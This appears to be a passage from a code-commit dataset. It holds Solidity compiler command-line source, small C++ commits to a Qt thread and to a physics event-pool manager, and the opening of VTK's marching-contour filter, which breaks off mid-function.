<fstream>\n\n#include <boost\/program_options.hpp>\n#include <boost\/filesystem.hpp>\n\n#include \"BuildInfo.h\"\n#include <libdevcore\/Common.h>\n#include <libdevcore\/CommonData.h>\n#include <libdevcore\/CommonIO.h>\n#include <libevmcore\/Instruction.h>\n#include <libsolidity\/Scanner.h>\n#include <libsolidity\/Parser.h>\n#include <libsolidity\/ASTPrinter.h>\n#include <libsolidity\/NameAndTypeResolver.h>\n#include <libsolidity\/Exceptions.h>\n#include <libsolidity\/CompilerStack.h>\n#include <libsolidity\/SourceReferenceFormatter.h>\n\nusing namespace std;\nusing namespace dev;\nusing namespace solidity;\nnamespace po = boost::program_options;\n\nvoid version()\n{\n\tcout << \"solc, the solidity complier commandline interface \" << dev::Version << endl\n\t\t << \"  by Christian <c@ethdev.com> and Lefteris <lefteris@ethdev.com>, (c) 2014.\" << endl\n\t\t << \"Build: \" << DEV_QUOTED(ETH_BUILD_PLATFORM) << \"\/\" << DEV_QUOTED(ETH_BUILD_TYPE) << endl;\n\texit(0);\n}\n\nenum class OutputType\n{\n\tSTDOUT,\n\tFILE,\n\tBOTH\n};\n\n#define outputTypeStr \"Legal values:\\n\"\\\n\t \"\\tstdout: Print it to standard output\\n\"\\\n\t \"\\tfile: Print it to a file with same name\\n\"\\\n\t\"\\tboth: Print both to a file and the stdout\\n\"\n\nstd::istream& operator>>(std::istream& _in, OutputType& io_output)\n{\n\tstd::string token;\n\t_in >> token;\n\tif (token == \"stdout\")\n\t\tio_output = OutputType::STDOUT;\n\telse if (token == \"file\")\n\t\tio_output = OutputType::FILE;\n\telse if (token == \"both\")\n\t\tio_output = OutputType::BOTH;\n\telse\n\t\tthrow boost::program_options::invalid_option_value(token);\n\treturn _in;\n}\n\nint main(int argc, char** argv)\n{\n\t\/\/ Declare the supported options.\n\tpo::options_description desc(\"Allowed options\");\n\tdesc.add_options()\n\t(\"help\", \"Show help message and exit\")\n\t(\"version\", \"Show version and exit\")\n\t(\"optimize\", po::value<bool>()->default_value(false), \"Optimize bytecode for size\")\n\t(\"input-file\", po::value<vector<string>>(), \"input file\")\n\t(\"ast\", po::value<OutputType>(),\n\t \"Request to output the AST of the contract. \" outputTypeStr)\n\t(\"asm\", po::value<OutputType>(),\n\t \"Request to output the EVM assembly of the contract. \"  outputTypeStr);\n\n\t\/\/ All positional options should be interpreted as input files\n\tpo::positional_options_description p;\n\tp.add(\"input-file\", -1);\n\n\t\/\/ parse the compiler arguments\n\tpo::variables_map vm;\n\ttry\n\t{\n\t\tpo::store(po::command_line_parser(argc, argv).options(desc).positional(p).allow_unregistered().run(), vm);\n\t}\n\tcatch (po::error const& exception)\n\t{\n\t\tcout << exception.what() << endl;\n\t\treturn -1;\n\t}\n\tpo::notify(vm);\n\n\tif (vm.count(\"help\")) {\n\t\tcout << desc;\n\t\treturn 0;\n\t}\n\n\tif (vm.count(\"version\")) {\n\t\tversion();\n\t\treturn 0;\n\t}\n\tmap<string, string> sourceCodes;\n\tif (!vm.count(\"input-file\"))\n\t{\n\t\tstring s;\n\t\twhile (!cin.eof())\n\t\t{\n\t\t\tgetline(cin, s);\n\t\t\tsourceCodes[\"<stdin>\"].append(s);\n\t\t}\n\t}\n\telse\n\t\tfor (string const& infile: vm[\"input-file\"].as<vector<string>>())\n\t\t\tsourceCodes[infile] = asString(dev::contents(infile));\n\n\tCompilerStack compiler;\n\ttry\n\t{\n\t\tfor (auto const& sourceCode: sourceCodes)\n\t\t\tcompiler.addSource(sourceCode.first, sourceCode.second);\n\t\tcompiler.compile( vm[\"optimize\"].as<bool>());\n\t}\n\tcatch (ParserError const& exception)\n\t{\n\t\tSourceReferenceFormatter::printExceptionInformation(cerr, exception, \"Parser error\", compiler);\n\t\treturn -1;\n\t}\n\tcatch (DeclarationError const& exception)\n\t{\n\t\tSourceReferenceFormatter::printExceptionInformation(cerr, exception, \"Declaration error\", compiler);\n\t\treturn -1;\n\t}\n\tcatch (TypeError const& exception)\n\t{\n\t\tSourceReferenceFormatter::printExceptionInformation(cerr, exception, \"Type error\", compiler);\n\t\treturn -1;\n\t}\n\tcatch (CompilerError const& exception)\n\t{\n\t\tSourceReferenceFormatter::printExceptionInformation(cerr, exception, \"Compiler error\", compiler);\n\t\treturn -1;\n\t}\n\tcatch (InternalCompilerError const& exception)\n\t{\n\t\tSourceReferenceFormatter::printExceptionInformation(cerr, exception, \"Internal compiler error\", compiler);\n\t\treturn -1;\n\t}\n\tcatch (Exception const& exception)\n\t{\n\t\tcerr << \"Exception during compilation: \" << boost::diagnostic_information(exception) << endl;\n\t\treturn -1;\n\t}\n\tcatch (...)\n\t{\n\t\tcerr << \"Unknown exception during compilation.\" << endl;\n\t\treturn -1;\n\t}\n\n\n\t\/\/ do we need AST output?\n\tif (vm.count(\"ast\"))\n\t{\n\t\tauto choice = vm[\"ast\"].as<OutputType>();\n\t\tif (choice != OutputType::FILE)\n\t\t{\n\t\t\tcout << \"Syntax trees:\" << endl << endl;\n\t\t\tfor (auto const& sourceCode: sourceCodes)\n\t\t\t{\n\t\t\t\tcout << endl << \"======= \" << sourceCode.first << \" =======\" << endl;\n\t\t\t\tASTPrinter printer(compiler.getAST(sourceCode.first), sourceCode.second);\n\t\t\t\tprinter.print(cout);\n\t\t\t}\n\t\t}\n\n\t\tif (choice != OutputType::STDOUT)\n\t\t{\n\t\t\tfor (auto const& sourceCode: sourceCodes)\n\t\t\t{\n\t\t\t\tboost::filesystem::path p(sourceCode.first);\n\t\t\t\tofstream outFile(p.stem().string() + \".ast\");\n\t\t\t\tASTPrinter printer(compiler.getAST(sourceCode.first), sourceCode.second);\n\t\t\t\tprinter.print(outFile);\n\t\t\t\toutFile.close();\n\t\t\t}\n\t\t}\n\t}\n\n\tvector<string> contracts = compiler.getContractNames();\n\t\/\/ do we need EVM assembly?\n\tif (vm.count(\"asm\"))\n\t{\n\t\tauto choice = vm[\"asm\"].as<OutputType>();\n\t\tfor (string const& contract: contracts)\n\t\t{\n\t\t\tif (choice != OutputType::FILE)\n\t\t\t{\n\t\t\t\tcout << endl << \"======= \" << contract << \" =======\" << endl\n\t\t\t\t\t << \"EVM assembly:\" << endl;\n\t\t\t\tcompiler.streamAssembly(cout, contract);\n\t\t\t}\n\n\t\t\tif (choice != OutputType::STDOUT)\n\t\t\t{\n\t\t\t\tofstream outFile(contract + \".evm\");\n\t\t\t\tcompiler.streamAssembly(outFile, contract);\n\t\t\t\toutFile.close();\n\t\t\t}\n\t\t}\n\t}\n\n\n\tcout << endl << \"Contracts:\" << endl;\n\tfor (string const& contract: contracts)\n\t{\n\t\tcout << \"Opcodes:\" << endl\n\t\t\t << eth::disassemble(compiler.getBytecode(contract)) << endl\n\t\t\t << \"Binary: \" << toHex(compiler.getBytecode(contract)) << endl\n\t\t\t << \"Interface specification: \" << compiler.getJsonDocumentation(contract, DocumentationType::ABI_INTERFACE) << endl\n\t\t\t << \"Natspec user documentation: \" << compiler.getJsonDocumentation(contract, DocumentationType::NATSPEC_USER) << endl\n\t\t\t << \"Natspec developer documentation: \" << compiler.getJsonDocumentation(contract, DocumentationType::NATSPEC_DEV) << endl;\n\t}\n\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"MidasThread.h\"\n#include <qdebug.h>\n#include <Windows.h>\n\nMidasThread::MidasThread()\n{\n}\n\nMidasThread::~MidasThread()\n{\n\n}\n\nvoid MidasThread::run()\n{\n    qDebug() << \"running spawned thread.\";\n\n    for (int i = 0; i < 100000; i++)\n    {\n        emit outputCount(i);\n        Sleep(100);\n    }\n\n    return;\n}<commit_msg>last commit on this branch, then freezing to integrate midas on a seperate branch<commit_after>#include \"MidasThread.h\"\n#include <qdebug.h>\n#include <Windows.h>\n\nMidasThread::MidasThread()\n{\n}\n\nMidasThread::~MidasThread()\n{\n\n}\n\nvoid MidasThread::run()\n{\n    qDebug() << \"running spawned thread.\";\n\n    for (int i = 0; i < 100000; i++)\n    {\n        emit outputCount(i);\n        Sleep(25);\n    }\n\n    return;\n}<|endoftext|>"}
{"text":"<commit_before>#include \"AliEventPoolManager.h\"\n\nClassImp(AliEventPool)\n\nvoid AliEventPool::PrintInfo() const\n{\n  cout << Form(\"%20s: %d events\", \"Pool capacity\", fMixDepth) << endl;\n  cout << Form(\"%20s: %d events, %d tracks\", \"Current size\", \n\t       GetCurrentNEvents(), NTracksInPool()) << endl;\n  cout << Form(\"%20s: %.1f to %.1f\", \"Sub-event mult.\", fMultMin, fMultMax) << endl;\n  cout << Form(\"%20s: %.1f to %.1f\", \"Z-vtx range\", fZvtxMin, fZvtxMax) << endl;\n\n  return;\n}\n\nBool_t AliEventPool::EventMatchesBin(Int_t mult, Double_t zvtx) const\n{\n  return EventMatchesBin((Double_t) mult, zvtx);\n}\n\nBool_t AliEventPool::EventMatchesBin(Double_t mult, Double_t zvtx) const\n{\n  \/\/ Lower bin limit included; upper limit excluded.\n\n  Bool_t multOK = (mult >= fMultMin && mult < fMultMax);\n  Bool_t zvtxOK = (zvtx >= fZvtxMin && zvtx < fZvtxMax);\n  return (multOK && zvtxOK);\n}\n\nInt_t AliEventPool::NTracksInPool() const\n{\n  \/\/ Number of tracks for this cent, zvtx bin; possibly includes many\n  \/\/ events.\n\n  Int_t ntrk=0;\n  for (Int_t i=0; i<(Int_t)fEvents.size(); ++i) {\n    ntrk += fNTracksInEvent.at(i);\n  }\n  return ntrk;\n}\n\nInt_t AliEventPool::SetEventMultRange(Int_t multMin, Int_t multMax)\n{\n  fMultMin = (Double_t)multMin;\n  fMultMax = (Double_t)multMax;\n  return 0;\n}\n\nInt_t AliEventPool::SetEventMultRange(Double_t multMin, Double_t multMax)\n{\n  fMultMin = multMin;\n  fMultMax = multMax;\n  return 0;\n}\n\nInt_t AliEventPool::SetEventZvtxRange(Double_t zvtxMin, Double_t zvtxMax)\n{\n  fZvtxMin = zvtxMin;\n  fZvtxMax = zvtxMax;\n  return 0;\n}\n\nInt_t AliEventPool::GlobalEventIndex(Int_t j) const\n{\n  \/\/ Index returned from passing local pool event index.\n\n  if (j < 0 || j >= (Int_t)fEventIndex.size()) {\n    cout << \"ERROR in AliEventPool::GlobalEventIndex(): \"\n\t << \" Invalid index \" << j << endl;\n    return -99;\n  }\n  return fEventIndex.at(j);\n}\n\nInt_t AliEventPool::UpdatePool(TObjArray *trk)\n{\n  \/\/ A rolling buffer (a double-ended queue) is updated by removing\n  \/\/ the oldest event, and appending the newest.\n\n  static Int_t iEvent = -1; \n  iEvent++;\n\n  Int_t mult = trk->GetEntries();\n  Int_t nTrk = NTracksInPool();\n\n  if (nTrk < fTargetTrackDepth && ((nTrk + mult) >= fTargetTrackDepth)) \n    fNTimes++;\n\n  \/\/ remove 0th element before appending this event\n  Bool_t removeFirstEvent = 0;\n  if (nTrk>fTargetTrackDepth) {\n    Int_t nTrksFirstEvent= fNTracksInEvent.front();\n    Int_t diff = nTrk - nTrksFirstEvent + mult;\n    if (diff>fTargetTrackDepth)\n      removeFirstEvent = 1;\n  }\n  if (removeFirstEvent) {\n    TObjArray *fa = fEvents.front();\n    delete fa;\n    fEvents.pop_front();         \/\/ remove first track array \n    fNTracksInEvent.pop_front(); \/\/ remove first int\n    fEventIndex.pop_front();\n  }\n\n  fNTracksInEvent.push_back(mult);\n  fEvents.push_back(trk);\n  fEventIndex.push_back(iEvent);\n\n  if (fNTimes==1) {\n    fFirstFilled = kTRUE;\n    if (1||AliEventPool::fDebug) {\n      cout << \"\\nPool \" << MultBinIndex() << \", \" << ZvtxBinIndex() \n           << \" ready at event \"<< iEvent;\n      PrintInfo();\n      cout << endl;\n    }\n    fNTimes++; \/\/ See this message exactly once\/pool\n  } else {\n    fFirstFilled = kFALSE;\n  }\n\n  fWasUpdated = true;\n\n  if (AliEventPool::fDebug) {\n    cout << \" Event \" << fEventIndex.back();\n    cout << \" PoolDepth = \" << GetCurrentNEvents(); \n    cout << \" NTracksInCurrentEvent = \" << NTracksInCurrentEvent();\n  }\n\n  return fEvents.size();\n}\n\nTObject* AliEventPool::GetRandomTrack() const\n{\n  \/\/ Get any random track from the pool, sampled with uniform probability.\n\n  UInt_t ranEvt = gRandom->Integer(fEvents.size());\n  TObjArray *tca = fEvents.at(ranEvt);\n  UInt_t ranTrk = gRandom->Integer(tca->GetEntries());\n  TObject *trk = (TObject*)tca->At(ranTrk);\n  return trk;\n}\n\nTObjArray* AliEventPool::GetEvent(Int_t i) const\n{\n  if (i<0 || i>=(Int_t)fEvents.size()) {\n    cout << \"AliEventPool::GetEvent(\" \n\t << i << \"): Invalid index\" << endl;\n    return 0x0;\n  }\n\n  TObjArray *tca = fEvents.at(i);\n  return tca;\n}\n\nTObjArray* AliEventPool::GetRandomEvent() const\n{\n  UInt_t ranEvt = gRandom->Integer(fEvents.size());\n  TObjArray *tca = fEvents.at(ranEvt);\n  return tca;\n}\n\nInt_t AliEventPool::NTracksInEvent(Int_t iEvent) const\n{\n  \/\/ Return number of tracks in iEvent, which is the local pool index.\n\n  Int_t n = -1;\n  Int_t curEvent = fEventIndex.back();\n  Int_t offset = curEvent - iEvent;\n  Int_t pos = fEventIndex.size() - offset - 1;\n\n  if (offset==0)\n    n = fNTracksInEvent.back();\n  else if (offset < 0 || iEvent < 0) {\n    n = 0;\n  }\n  else if (offset > 0 && offset <= (int)fEventIndex.size()) {\n    n = fNTracksInEvent.at(pos);\n  }\n  else\n    cout << \"Event info no longer in memory\" << endl;\n  return n;\n}\n\nClassImp(AliEventPoolManager)\n\nAliEventPoolManager::AliEventPoolManager(Int_t depth,     Int_t minNTracks,\n\t\t\t\t   Int_t nMultBins, Double_t *multbins,\n\t\t\t\t   Int_t nZvtxBins, Double_t *zvtxbins) :\nfDebug(0), fNMultBins(0), fNZvtxBins(0), fEvPool(0), fTargetTrackDepth(minNTracks) \n{\n  \/\/ Constructor.\n\n  InitEventPools(depth, nMultBins, multbins, nZvtxBins, zvtxbins);\n  cout << \"AliEventPoolManager initialized.\" << endl;\n}\n\nInt_t AliEventPoolManager::InitEventPools(Int_t depth, \n                                       Int_t nMultBins, Double_t *multbin, \n                                       Int_t nZvtxBins, Double_t *zvtxbin)\n{\n  \/\/ Assign AliEventPoolManager members.\n\n  fNMultBins = nMultBins;\n  fNZvtxBins = nZvtxBins;\n\n  for (Int_t iM=0; iM<nMultBins; iM++) {\n    std::vector<AliEventPool*> evp;\n    for (Int_t iZ=0; iZ<nZvtxBins; iZ++) {\n      evp.push_back(new AliEventPool(depth, \n                                         multbin[iM], multbin[iM+1], \n                                         zvtxbin[iZ], zvtxbin[iZ+1] ));\n    }\n    fEvPool.push_back(evp);\n  }\n  \n  for (Int_t iM=0; iM<nMultBins; iM++) {\n    for (Int_t iZ=0; iZ<nZvtxBins; iZ++) {\n      fEvPool.at(iM).at(iZ)->SetMultBinIndex(iM);\n      fEvPool.at(iM).at(iZ)->SetZvtxBinIndex(iZ);\n      fEvPool.at(iM).at(iZ)->SetTargetTrackDepth(fTargetTrackDepth);\n    }\n  }\n  \n  if (0) {\n    cout << \"fEvPool outer size: \" << fEvPool.size() << endl;\n    for (Int_t iM=0; iM<nMultBins; iM++) {\n      for (Int_t iZ=0; iZ<nZvtxBins; iZ++) {\n\tif(fEvPool.at(iM).at(iZ)) {\n\t  cout << \"multiplicity bin: \" << iM;\n\t  cout << \", z-vertex bin: \" << iZ;\n\t  fEvPool.at(iM).at(iZ)->PrintInfo();\n\t}\n      }\n    }\n  }\n  \n  return fEvPool.size();\n}\n\nAliEventPool *AliEventPoolManager::GetEventPool(Int_t iMult, Int_t iZvtx) const\n{\n  if (iMult < 0 || iMult >= fNMultBins) \n    return 0x0;\n  if (iZvtx < 0 || iZvtx >= fNZvtxBins) \n    return 0x0;\n  return fEvPool.at(iMult).at(iZvtx);\n}\n\nAliEventPool *AliEventPoolManager::GetEventPool(Int_t centVal, Double_t zVtxVal) const\n{\n  return GetEventPool((Double_t)centVal, zVtxVal);\n}\n\nAliEventPool *AliEventPoolManager::GetEventPool(Double_t centVal, Double_t zVtxVal) const\n{\n  \/\/ Return appropriate pool for this centrality and z-vertex value.\n\n  for (Int_t iM=0; iM<fNMultBins; iM++) {\n    for (Int_t iZ=0; iZ<fNZvtxBins; iZ++) {\n      AliEventPool* pool = GetEventPool(iM, iZ);\n      if (pool->EventMatchesBin(centVal, zVtxVal))\n\treturn pool;\n    }\n  }\n  return 0x0;\n}\n\nInt_t AliEventPoolManager::UpdatePools(TObjArray *trk)\n{\n  \/\/ Call UpdatePool for all bins.\n\n  for (Int_t iM=0; iM<fNMultBins; iM++) {\n    for (Int_t iZ=0; iZ<fNZvtxBins; iZ++) {\n      if (fEvPool.at(iM).at(iZ)->UpdatePool(trk) > -1)\n        break;\n    }\n  }  \n  return 0;\n}\n<commit_msg>Forgotten debug statement<commit_after>#include \"AliEventPoolManager.h\"\n\nClassImp(AliEventPool)\n\nvoid AliEventPool::PrintInfo() const\n{\n  cout << Form(\"%20s: %d events\", \"Pool capacity\", fMixDepth) << endl;\n  cout << Form(\"%20s: %d events, %d tracks\", \"Current size\", \n\t       GetCurrentNEvents(), NTracksInPool()) << endl;\n  cout << Form(\"%20s: %.1f to %.1f\", \"Sub-event mult.\", fMultMin, fMultMax) << endl;\n  cout << Form(\"%20s: %.1f to %.1f\", \"Z-vtx range\", fZvtxMin, fZvtxMax) << endl;\n\n  return;\n}\n\nBool_t AliEventPool::EventMatchesBin(Int_t mult, Double_t zvtx) const\n{\n  return EventMatchesBin((Double_t) mult, zvtx);\n}\n\nBool_t AliEventPool::EventMatchesBin(Double_t mult, Double_t zvtx) const\n{\n  \/\/ Lower bin limit included; upper limit excluded.\n\n  Bool_t multOK = (mult >= fMultMin && mult < fMultMax);\n  Bool_t zvtxOK = (zvtx >= fZvtxMin && zvtx < fZvtxMax);\n  return (multOK && zvtxOK);\n}\n\nInt_t AliEventPool::NTracksInPool() const\n{\n  \/\/ Number of tracks for this cent, zvtx bin; possibly includes many\n  \/\/ events.\n\n  Int_t ntrk=0;\n  for (Int_t i=0; i<(Int_t)fEvents.size(); ++i) {\n    ntrk += fNTracksInEvent.at(i);\n  }\n  return ntrk;\n}\n\nInt_t AliEventPool::SetEventMultRange(Int_t multMin, Int_t multMax)\n{\n  fMultMin = (Double_t)multMin;\n  fMultMax = (Double_t)multMax;\n  return 0;\n}\n\nInt_t AliEventPool::SetEventMultRange(Double_t multMin, Double_t multMax)\n{\n  fMultMin = multMin;\n  fMultMax = multMax;\n  return 0;\n}\n\nInt_t AliEventPool::SetEventZvtxRange(Double_t zvtxMin, Double_t zvtxMax)\n{\n  fZvtxMin = zvtxMin;\n  fZvtxMax = zvtxMax;\n  return 0;\n}\n\nInt_t AliEventPool::GlobalEventIndex(Int_t j) const\n{\n  \/\/ Index returned from passing local pool event index.\n\n  if (j < 0 || j >= (Int_t)fEventIndex.size()) {\n    cout << \"ERROR in AliEventPool::GlobalEventIndex(): \"\n\t << \" Invalid index \" << j << endl;\n    return -99;\n  }\n  return fEventIndex.at(j);\n}\n\nInt_t AliEventPool::UpdatePool(TObjArray *trk)\n{\n  \/\/ A rolling buffer (a double-ended queue) is updated by removing\n  \/\/ the oldest event, and appending the newest.\n\n  static Int_t iEvent = -1; \n  iEvent++;\n\n  Int_t mult = trk->GetEntries();\n  Int_t nTrk = NTracksInPool();\n\n  if (nTrk < fTargetTrackDepth && ((nTrk + mult) >= fTargetTrackDepth)) \n    fNTimes++;\n\n  \/\/ remove 0th element before appending this event\n  Bool_t removeFirstEvent = 0;\n  if (nTrk>fTargetTrackDepth) {\n    Int_t nTrksFirstEvent= fNTracksInEvent.front();\n    Int_t diff = nTrk - nTrksFirstEvent + mult;\n    if (diff>fTargetTrackDepth)\n      removeFirstEvent = 1;\n  }\n  if (removeFirstEvent) {\n    TObjArray *fa = fEvents.front();\n    delete fa;\n    fEvents.pop_front();         \/\/ remove first track array \n    fNTracksInEvent.pop_front(); \/\/ remove first int\n    fEventIndex.pop_front();\n  }\n\n  fNTracksInEvent.push_back(mult);\n  fEvents.push_back(trk);\n  fEventIndex.push_back(iEvent);\n\n  if (fNTimes==1) {\n    fFirstFilled = kTRUE;\n    if (AliEventPool::fDebug) {\n      cout << \"\\nPool \" << MultBinIndex() << \", \" << ZvtxBinIndex() \n           << \" ready at event \"<< iEvent;\n      PrintInfo();\n      cout << endl;\n    }\n    fNTimes++; \/\/ See this message exactly once\/pool\n  } else {\n    fFirstFilled = kFALSE;\n  }\n\n  fWasUpdated = true;\n\n  if (AliEventPool::fDebug) {\n    cout << \" Event \" << fEventIndex.back();\n    cout << \" PoolDepth = \" << GetCurrentNEvents(); \n    cout << \" NTracksInCurrentEvent = \" << NTracksInCurrentEvent();\n  }\n\n  return fEvents.size();\n}\n\nTObject* AliEventPool::GetRandomTrack() const\n{\n  \/\/ Get any random track from the pool, sampled with uniform probability.\n\n  UInt_t ranEvt = gRandom->Integer(fEvents.size());\n  TObjArray *tca = fEvents.at(ranEvt);\n  UInt_t ranTrk = gRandom->Integer(tca->GetEntries());\n  TObject *trk = (TObject*)tca->At(ranTrk);\n  return trk;\n}\n\nTObjArray* AliEventPool::GetEvent(Int_t i) const\n{\n  if (i<0 || i>=(Int_t)fEvents.size()) {\n    cout << \"AliEventPool::GetEvent(\" \n\t << i << \"): Invalid index\" << endl;\n    return 0x0;\n  }\n\n  TObjArray *tca = fEvents.at(i);\n  return tca;\n}\n\nTObjArray* AliEventPool::GetRandomEvent() const\n{\n  UInt_t ranEvt = gRandom->Integer(fEvents.size());\n  TObjArray *tca = fEvents.at(ranEvt);\n  return tca;\n}\n\nInt_t AliEventPool::NTracksInEvent(Int_t iEvent) const\n{\n  \/\/ Return number of tracks in iEvent, which is the local pool index.\n\n  Int_t n = -1;\n  Int_t curEvent = fEventIndex.back();\n  Int_t offset = curEvent - iEvent;\n  Int_t pos = fEventIndex.size() - offset - 1;\n\n  if (offset==0)\n    n = fNTracksInEvent.back();\n  else if (offset < 0 || iEvent < 0) {\n    n = 0;\n  }\n  else if (offset > 0 && offset <= (int)fEventIndex.size()) {\n    n = fNTracksInEvent.at(pos);\n  }\n  else\n    cout << \"Event info no longer in memory\" << endl;\n  return n;\n}\n\nClassImp(AliEventPoolManager)\n\nAliEventPoolManager::AliEventPoolManager(Int_t depth,     Int_t minNTracks,\n\t\t\t\t   Int_t nMultBins, Double_t *multbins,\n\t\t\t\t   Int_t nZvtxBins, Double_t *zvtxbins) :\nfDebug(0), fNMultBins(0), fNZvtxBins(0), fEvPool(0), fTargetTrackDepth(minNTracks) \n{\n  \/\/ Constructor.\n\n  InitEventPools(depth, nMultBins, multbins, nZvtxBins, zvtxbins);\n  cout << \"AliEventPoolManager initialized.\" << endl;\n}\n\nInt_t AliEventPoolManager::InitEventPools(Int_t depth, \n                                       Int_t nMultBins, Double_t *multbin, \n                                       Int_t nZvtxBins, Double_t *zvtxbin)\n{\n  \/\/ Assign AliEventPoolManager members.\n\n  fNMultBins = nMultBins;\n  fNZvtxBins = nZvtxBins;\n\n  for (Int_t iM=0; iM<nMultBins; iM++) {\n    std::vector<AliEventPool*> evp;\n    for (Int_t iZ=0; iZ<nZvtxBins; iZ++) {\n      evp.push_back(new AliEventPool(depth, \n                                         multbin[iM], multbin[iM+1], \n                                         zvtxbin[iZ], zvtxbin[iZ+1] ));\n    }\n    fEvPool.push_back(evp);\n  }\n  \n  for (Int_t iM=0; iM<nMultBins; iM++) {\n    for (Int_t iZ=0; iZ<nZvtxBins; iZ++) {\n      fEvPool.at(iM).at(iZ)->SetMultBinIndex(iM);\n      fEvPool.at(iM).at(iZ)->SetZvtxBinIndex(iZ);\n      fEvPool.at(iM).at(iZ)->SetTargetTrackDepth(fTargetTrackDepth);\n    }\n  }\n  \n  if (0) {\n    cout << \"fEvPool outer size: \" << fEvPool.size() << endl;\n    for (Int_t iM=0; iM<nMultBins; iM++) {\n      for (Int_t iZ=0; iZ<nZvtxBins; iZ++) {\n\tif(fEvPool.at(iM).at(iZ)) {\n\t  cout << \"multiplicity bin: \" << iM;\n\t  cout << \", z-vertex bin: \" << iZ;\n\t  fEvPool.at(iM).at(iZ)->PrintInfo();\n\t}\n      }\n    }\n  }\n  \n  return fEvPool.size();\n}\n\nAliEventPool *AliEventPoolManager::GetEventPool(Int_t iMult, Int_t iZvtx) const\n{\n  if (iMult < 0 || iMult >= fNMultBins) \n    return 0x0;\n  if (iZvtx < 0 || iZvtx >= fNZvtxBins) \n    return 0x0;\n  return fEvPool.at(iMult).at(iZvtx);\n}\n\nAliEventPool *AliEventPoolManager::GetEventPool(Int_t centVal, Double_t zVtxVal) const\n{\n  return GetEventPool((Double_t)centVal, zVtxVal);\n}\n\nAliEventPool *AliEventPoolManager::GetEventPool(Double_t centVal, Double_t zVtxVal) const\n{\n  \/\/ Return appropriate pool for this centrality and z-vertex value.\n\n  for (Int_t iM=0; iM<fNMultBins; iM++) {\n    for (Int_t iZ=0; iZ<fNZvtxBins; iZ++) {\n      AliEventPool* pool = GetEventPool(iM, iZ);\n      if (pool->EventMatchesBin(centVal, zVtxVal))\n\treturn pool;\n    }\n  }\n  return 0x0;\n}\n\nInt_t AliEventPoolManager::UpdatePools(TObjArray *trk)\n{\n  \/\/ Call UpdatePool for all bins.\n\n  for (Int_t iM=0; iM<fNMultBins; iM++) {\n    for (Int_t iZ=0; iZ<fNZvtxBins; iZ++) {\n      if (fEvPool.at(iM).at(iZ)->UpdatePool(trk) > -1)\n        break;\n    }\n  }  \n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Remove in-bunch pileup events in MC<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkMarchingContourFilter.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n\n     THIS CLASS IS PATENTED UNDER UNITED STATES PATENT NUMBER 4,710,876\n     \"System and Method for the Display of Surface Structures Contained\n     Within the Interior Region of a Solid Body\".\n     Application of this software for commercial purposes requires \n     a license grant from GE. Contact:\n\n         Carl B. Horton\n         Sr. Counsel, Intellectual Property\n         3000 N. Grandview Blvd., W-710\n         Waukesha, WI  53188\n         Phone:  (262) 513-4022\n         E-Mail: Carl.Horton@med.ge.com\n\n     for more information.\n\n=========================================================================*\/\n#include \"vtkMarchingContourFilter.h\"\n\n#include \"vtkCell.h\"\n#include \"vtkContourFilter.h\"\n#include \"vtkContourValues.h\"\n#include \"vtkImageMarchingCubes.h\"\n#include \"vtkInformation.h\"\n#include \"vtkInformationVector.h\"\n#include \"vtkMarchingCubes.h\"\n#include \"vtkMarchingSquares.h\"\n#include \"vtkMergePoints.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkPointData.h\"\n#include \"vtkPolyData.h\"\n#include \"vtkScalarTree.h\"\n#include \"vtkStructuredPoints.h\"\n\n#include <math.h>\n\nvtkCxxRevisionMacro(vtkMarchingContourFilter, \"1.28\");\nvtkStandardNewMacro(vtkMarchingContourFilter);\n\n\/\/ Construct object with initial range (0,1) and single contour value\n\/\/ of 0.0.\nvtkMarchingContourFilter::vtkMarchingContourFilter()\n{\n  this->ContourValues = vtkContourValues::New();\n\n  this->ComputeNormals = 1;\n  this->ComputeGradients = 0;\n  this->ComputeScalars = 1;\n\n  this->Locator = NULL;\n\n  this->UseScalarTree = 0;\n  this->ScalarTree = NULL;\n}\n\nvtkMarchingContourFilter::~vtkMarchingContourFilter()\n{\n  this->ContourValues->Delete();\n  if ( this->Locator )\n    {\n    this->Locator->UnRegister(this);\n    this->Locator = NULL;\n    }\n  if ( this->ScalarTree )\n    {\n    this->ScalarTree->Delete();\n    }\n}\n\n\/\/ Overload standard modified time function. If contour values are modified,\n\/\/ then this object is modified as well.\nunsigned long vtkMarchingContourFilter::GetMTime()\n{\n  unsigned long mTime=this->Superclass::GetMTime();\n  unsigned long time;\n\n  if (this->ContourValues)\n    {\n    time = this->ContourValues->GetMTime();\n    mTime = ( time > mTime ? time : mTime );\n    }\n  if (this->Locator)\n    {\n    time = this->Locator->GetMTime();\n    mTime = ( time > mTime ? time : mTime );\n    }\n\n  return mTime;\n}\n\n\/\/\n\/\/ General contouring filter.  Handles arbitrary input.\n\/\/\nint vtkMarchingContourFilter::RequestData(\n  vtkInformation *vtkNotUsed(request),\n  vtkInformationVector **inputVector,\n  vtkInformationVector *outputVector)\n{\n  \/\/ get the info objects\n  vtkInformation *inInfo = inputVector[0]->GetInformationObject(0);\n  vtkInformation *outInfo = outputVector->GetInformationObject(0);\n\n  \/\/ get the input and ouptut\n  vtkDataSet *input = vtkDataSet::SafeDownCast(\n    inInfo->Get(vtkDataObject::DATA_OBJECT()));\n  vtkPolyData *output = vtkPolyData::SafeDownCast(\n    outInfo->Get(vtkDataObject::DATA_OBJECT()));\n\n  vtkDataArray *inScalars;\n  vtkIdType numCells;\n  \n  vtkDebugMacro(<< \"Executing marching contour filter\");\n\n  numCells = input->GetNumberOfCells();\n  inScalars = input->GetPointData()->GetScalars();\n  if ( ! inScalars || numCells < 1 )\n    {\n    vtkErrorMacro(<<\"No data to contour\");\n    return 1;\n    }\n\n  \/\/ If structured points, use more efficient algorithms\n  if ( (input->GetDataObjectType() == VTK_STRUCTURED_POINTS))\n    {\n    if (inScalars->GetDataType() != VTK_BIT)\n      {\n      int dim = input->GetCell(0)->GetCellDimension();\n      \n      if ( input->GetCell(0)->GetCellDimension() >= 2 ) \n        {\n        vtkDebugMacro(<< 